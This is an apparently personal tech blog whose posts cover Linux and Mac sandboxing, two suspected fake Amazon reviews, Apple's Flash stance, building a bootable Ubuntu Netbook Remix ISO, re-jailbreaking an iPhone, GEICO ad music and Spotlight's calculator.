I used to work at a company where most of my time involved developing either SELinux security policies (a technical mechanism that the operating system uses to restrict applications' behavior) or applications designed to be confined by SELinux policies. Unfortunately, although SELinux is extremely powerful, it isn't used to confine most Linux desktop applications. It exposes users to problems that are beyond their ability (or desire) to troubleshoot and fix. Having spent time working with under-appreciated access control mechanisms, I am really excited to see Sandboxes coming into the mainstream on an operating system known for its ease of use. This is a Good Thing for users.

SELinux is similar in some ways to Mac OS X's (and iOS's) Sandbox mechanism. These mechanisms enforce a system-wide security policy that cannot be overridden through traditional user-based file ownership and permissions. For example, an application executed by you shouldn't be allowed to change or delete all of your data (without asking you first) simply because you own the data. An unconfined application could be tricked into doing just that.

Apple has implemented a trusted process model in OS X Lion to handle risky behaviors. An application confined by a Sandbox profile might not be allowed to write its data to your hard disk. Instead, it has to send its data to a Lion-provided process whose job it is to write the data. That trusted process is only allowed to access data on the hard disk. It is not allowed to receive connections from other computers on the Internet. An attacker on the Internet would have to compromise not only your application, but also the trusted process in order to gain access to your data on your hard disk. Think of a building that requires entry through one door followed by another, and no single person has both keys. You have to co-opt both key holders to gain access.

Many things that applications normally do on their own will now have to be proxied through a trusted interface provided by Lion. Some things, such as adding cover art to iTunes albums, become impossible where no sanctioned interface is provided. In the near term, applications in the Mac App Store will become simpler and less capable because of this. I suspect that over time, though, Apple will provide more robust set of mechanisms that applications will be able to use to do more things. This way, applications will be able to do more on behalf of the user without introducing significant risk.

I like knowing that applications I install through the Mac App Store will be confined by a security mechanism that mitigates mistakes made by the developer. I'm happy with it as long as I can obtain applications from outside the App Store when I'm willing to assume more risk. You have choices. If you want an application that not only won't but can't eat your data (or syphon it off to the Russian mafia) get it from the Mac App Store. If you want an application that has more features--and more risk--buy it elsewhere from Chad's website.




Sunday, December 19, 2010

Fake Reviews on Amazon?

We all know there are shady marketing/image promotion firms that do things like post fake reviews on Amazon.com and others. However, I've never actually seen a review that I was certain was a fake. That is, before today.

Yesterday I bought a no-name 21 bottle thermo-electric wine cooler from Tuesday Morning. I wanted a feel for whether I got a good deal, so I did some post-purchase comparison shopping on Amazon.com. I couldn't find my exact model there. Again, I'm certain it's a no-name, made-in-china, rebranded by a distributor type affair. I did find a couple of models on Amazon that are extremely similar to my own. So much so that I would not be surprised if they are actually the same unit with minor cosmetic revisions.

As I was reading the customer reviews, they were mostly pretty terrible, complaining of failures within 18 months of purchase. Most also complained that there wasn't a place locally to get the appliance serviced. Unsurprising. Oh, well. Live and learn, I guess :-(.

However, what was interesting to me was that for each of the two items, I found one review that was uncharacteristically positive. Even less likely, both reviews were impossibly similar, following a template, highlighting the same positive features, and using similar wording.

I'm not going to link to the Amazon product listing because I don't want to help boost those items' page ranking, but I have pasted in the product name as found on Amazon, as well as the full review in each case.

From the "NewAir AW-210ED NewAir Thermoelectric Wine Cooler With Dual Temperature Zones"
A four star review:

I ordered this as a present for my wife, and read a lot of reviews. There were so many negative product reviews for wine coolers, I really didn't know which one was actually the truth. I didn't know what to buy or who to believe.

This fridge is really quiet. In an empty room without any other appliances on, you can't hear it.

It's beautiful. It's aesthetically pleasing and fits in well into our dining room. She loves the sleek black finish, we get lots of compliments on it. It gets a lot of attention believe it or not. Some people are really impressed by it. My friends think NewAir should of made room for cans of Bud Light, but I disagree. The unit stores my $[...]bottles of Opus One. It is definitely a higher end unit meant to store wine collections not beer for UFC fights. Same high quality as Cuisinart models we've seen at Bloomingdales, but bigger which means more room for WINE! I would definitely choose this unit over a built in unit. This model requires some room for venting like most refrigerators, which makes sense. We had a built in wine cooler in our last house and it was nothing but problems. When they had to fix because the compressor went I had to contact a laundry list of people because the manufacturer went out of business. Then the guy who came to fix it decided it was ok to damage our granite bar top to access the built in wine cooler.

No assembly except putting on the handle. Let's face it not many of us spoiled Southern Californians are handy.

he temperature holds steady and does not reset when exposed to sunlight, or when the room is warm. It's really easy to read the temp setting, really easy to set, and it works like a dream. The LED lighting is awesome. Also, you can feel the difference in temperature between the 2 zones.

Dollar for dollar, this was competitively priced. I really liked my experience with Air & Water. They were great. And, we're SO happy with it.

I know you will be too.
And from the EdgeStar 21 Bottle Dual Zone Wine Cooler
A five star review:

I ordered this as a present, and read a lot of reviews. There are so many negative product reviews for wine fridges, I really didn't know what to buy. So, let me put your fears to rest:

1) This fridge is really quiet. In an empty room with no AC on, you can't hear it.

2) It's beautiful. Really nice stainless finish, we get lots of compliments on it. On par with Cuisinart models we've seen at Macy's, but bigger.

3) No assembly except putting on the handle. Hallelujah!!!

4) Consistent temperature - the temp holds steady and does not reset when exposed to sunlight, or when the room is warm. It's really easy to read the temp setting, really easy to set, and it works like a dream. You can feel the difference in temperature between the 2 zones.

Dollar for dollar, this was competitively priced. I really liked my interaction with Compact Appliance. They were great. And, we're SO happy with it.

Hope you will be too.
Here are the points addressed by each review, in the same order:
  • The unit is quiet, and in a quiet room, you can't hear it
  • The unit is beautiful
  • Requires little to no assembly
  • Keeps a consistent temperature
  • Competitively priced
  • Interaction with the manufacturer/distributor was great (WTF? you bought it from Amazon.com)
  • We're so happy and "hope you will be too."

It's kind of amazing how blatant these reviews are. I guess the most Amazon can do is close each user's account. Since the reviewers are disposable, the PR firm just hires more, or even creates new accounts under new names.

Saturday, May 01, 2010

Remarks on Apple, Flash and the "I Hate Apple" People

I've want to put down in words a few loosely related thoughts on controversy regarding Apple's policy of not allowing Adobe Flash Player on its mobile devices, and on the I Hate Apple crowd in general.

First, the "I'm anti-apple" people. I hear this mantra repeated frequently by friends and colleagues and also by noisy people on the Internet. I tend to rail against this sort of thinking, and as a result, come off as an Apple apologist to people who know me. I'll clarify: there are plenty of legitimate reasons to be angry with Apple. This vitriol, however, just seems irrational. Apple, as a company, has a lot of surface area and characterizing them in such broad strokes is problematic. They do things that are frustrating, but they also do things that are great. Most people who revel in waving their Apple-hating flag struggle to articulate just why they they hate them so much. It usually goes something like "grumble grumble, closed, proprietary, grumble grumble, App Store, grumble, no flash on the iPhone." The argument usually doesn't hold together well, and often these people will even admit that they just can't quite put their finger on what they hate so much about Apple. Look, we all are frustrated with Apple's App Store policies, even veteran iPhone and Mac developers. Even John Gruber, often accused of being an apologist is frustrated:
Serious App Store Doubts
Excerpts From the Diary of an App Store Reviewer
The App Store’s Exclusionary Policies

Further, if we're going to jump on the Apple-hating bandwagon, which is very in vogue nowadays, there are a lot of big-company-hating bandwagons we're going to have to jump on and start bitching about and boycotting. That's tiring. I don't have enough hours in the day to hate every company that needs hating. Sigh. Pick your battles.

Moving on to Apple's prohibition of Adobe Flash Player. It's not that complicated. Flash on the iPhone specifically, and cross-platform development frameworks in general, have the effect of diluting all platforms, including the iPhone, down to the lowest common set of platform features. No company should want their mobile device to be reduced to a state of generic similarity to their competitors' devices. Apple is perfectly justified, in my opinion, in wanting to keep this sort of shovel-ware out of the App Store.
This week Apple CEO Steve Jobs penned an open letter regarding his company's position on Adobe Flash Player on the iPhone OS:
Thoughts on Flash
I won't dissect the letter; it's been covered. But I agree with everything in it.

In response, this blustery counterpoint was posted on Linux-Magazine.com:
Apple's Steve Jobs is spreading FUD on Flash

This author's post actually makes me angry. It makes me angry because he is so bigoted against Apple, that he actually comes to Adobe's defense, conveniently forgetting that they've been dragging down the Linux desktop experience for years.

I self-identify as both a a Mac user and a Linux user. For years I was a full-time Linux user. I was the most obnoxious of Linux bigots, so I have that perspective. I have unhappy memories of flash on Linux. Since flash video became prevalent on the Internet, Adobe flash player has been the bane of Linux users' existence. Its performance on Linux has always been abysmal. I remember times when my laptop's fans would spin up to full speed, and the battery would start draining, and it would start scorching my lap. I would have to go hunt down whatever Firefox tab had a flash-based banner ad that was eating my CPU for lunch.

Adobe was slow to update it to the latest release, taking a year or more after it was released on Windows to release a new version for Linux. Also, Adobe still hasn't released a 64-bit version of the Flash Player for Linux or the Mac. Yeah. Seriously. It's 2010. Although major Linux distributions have gotten a lot better at making flash installation easy, you used to have to do weird 32-bit library wrapping voodoo to get Adobe Flash Player to work with 64-bit Linux and Firefox.

Because the Adobe Flash Player is closed and proprietary, Linux distributions couldn't ship with it installed. Users would always have to jump through hoops such as configuring third-party package repositories in order to install it.

Yes, as the author points out, flash is an open specification, so anyone technically can implement it. But to date, there haven't been any open flash players that are worth a damn. Open implementations such as Gnash are turds. They are several versions of the flash specification out of date, their performance is abysmal, and getting them configured and working is black magic. So let's leave flash's "openness" aside, because that's a red herring.

What is material is that much of the Internet depends on your browser being able to play flash. This is just as bad as the Internet of a few years ago requiring Internet Explorer, and being broken on every other browser. An Internet dependent on Adobe Flash Player is bad for Linux users. An Internet that has embraced HTML5, CSS, and Javascript is good for Linux users. Get off your Apple-hating high horse and acknowledge the fact that the two of you are on the same side.

Monday, August 31, 2009

Ubuntu Netbook Remix in VMware

I needed to install Ubuntu Netbook Remix (UNR) in a VMware Virtual Machine so that I could try to reproduce a bug. It was kind of an asspain. Problem is, UNR is made to be installed from a USB flash drive, and VMware can't boot from USB devices. There isn't a DVD or CD ISO image for UNR 9.04 available. It turns out that you can make a DVD image from the UNR .img.

I found the following guide on the Ubuntu forums (see below for a link). It should work from most linux distros:

Make a directory to hold the contents of the UNR DVD image:

$ mkdir unr

Make a mount point to mount the UNR .img file:

$ mkdir realunr

Mount the UNR .img as a loop device:

$ sudo mount -o loop -t vfat ubuntu-9.04-netbook-remix-i386.img realunr/

Copy all the contents from the UNR image to your unr/ directory. Note that realunr/.diskimage is critical:
$ rsync -a realunr/ unr/

Rename syslinux to isolinux:
unr$ mv syslinux isolinux
unr$ mv isolinux/syslinux.cfg isolinux/isolinux.cfg

Generate a DVD image from the contens of unr with the following incantation:
mkisofs -o ubuntu-9.04-netbook-remix-i386.iso -r -J -l \
-V "Ubuntu-Netbook-Remix 9.04 i386" -b isolinux/isolinux.bin \
-c isolinux/boot.cat -no-emul-boot -boot-load-size 4 \
-boot-info-table unr/

mkisofs will generate a DVD image that you can either boot a VM from or burn to a DVD.

Guide on ubuntuforums.org

Friday, August 07, 2009

Jailbroken iPhone, Cydia Apps, Upgrading iPhone to 3.0.1

I've been running my iPhone jailbroken for a couple of weeks. At first I felt dirty about having callously cast aside many of the legitimate security mechanisms in the iPhone, such as sandboxing of 3rd party apps. Utlimately, I have given into my baser instincts and am sticking with it.

Today I upgraded my iPhone to 3.0.1. There isn't an official jailbreak for 3.0.1 yet, but the 3.0 jailbreak works. The problem in general with upgrading a jailbroken phone is that there's no real way to back up all of your unauthorized customizations. You've basically had your way with the underlying Unix OS. Not everything you install from Cydia is a self-contained app. There are system modifications like installing OpenSSH and system utilities. Anyway, what it comes down to is that you need to reinstall all of your Cydia packages after upgrading and re-jailbreaking.

Here's how the process went for me:
In iTunes:
-do a backup
-choose to restore, which will also update. Don't choose upgrade.

After this is done, leave itunes, and follow the normal jailbreak process
-Run redsn0w
-Point redsn0w at your 3.0 iPhone OS ipsw file.

Once redsn0w is done, you're jailbroken again and running (mostly) 3.0.1. You still need to reinstall your Cydia packages. I found some of my customizations returned once I had reinstalled the Cydia packages, but not all.

On the topic of Cydia packages, here's a list of packages that I installed and really like:
  • BigBoss Recommended; This gets you a bunch of command line utilities that you'd expect to be on most unix systems. It actually is a metapackage that brings a ton of other packages with it.
  • MobileTerminal; A terminal application (not an SSH client)
  • MusicControls; A paid app that lets you background and control many music applications like Slacker and Pandora
  • OpenSSH; client and server. Be sure to reset passwords for root and mobile. Also disable root logins. Disable sshd from running automatically.
  • SBSettings; let's you tweak many hidden settings, replacing BossPrefs. Also required for disabling autostarting of the sshd service
  • Safari Download Manager; A paid app. Lets you download and save files, even ones that Safari doesn't know how to handle. Great for downloading files and getting them off you phone.
  • iFile; A paid app that lets you browse the entire filesystem and open files. Also has a built-in web server that will serve up files to your laptop. Useful when you have no Internet, but need to download a file.
  • SysInfoPlus; Shows you lots of technical information about your iPhone. Mostly just neat.
  • Status Notifier; shows various status indicators like new mail icon in the iPhones status bar at the top of the screen
  • BlackDarkness theme; This is a complete system theme that replaces lots of things, including many icons. I think it's kind of neat. Brings winterboard with it.
That's about it. The BigBoss blog is recommending that you stand pat until there's a redsn0w update. Supposedly it's going to make things a bit easier. It's not clear in what way. At the very least, they point out that for now, you'll still end up with a 3.0 kernel. Hmmm. :-/

http://thebigboss.org/2009/07/31/iphone-v301-released/

Thursday, June 11, 2009

GEICO Music

I hate to admit it, but GEICO commercials have a pretty good track record for featuring good pop music. Whether it's 3 Doors Down, Royksopp, or The Sounds, the songs in GEICO's ads are usually pretty good.

The latest that I like is "Somebody's Watching Me" by Mysto & Pizzi. This song is featured in the ridiculous "Kash" commercials. You can download it for free. While you're there, check out the "making of" video. It's surprisingly entertaining.

I don't like the commercials, and I'm not about to switch insurance providers, but, in general, if you hear a song in a GEICO spot, you can probably add it to your library with no regrets.

Thursday, May 14, 2009

Spotlight does Math

I just discovered that Leopard's Spotlight does math. Try it. Bring up spotlight with ⌘+space. Then start typing something like
7pi*8.3 or
sqrt(2)
and the answer is the first search result.

This isn't quite a powerful as the Google calculator. It doesn't appear to do base conversion, and it doesn't let you copy the result for pasting into an application, but it seems handy nonetheless.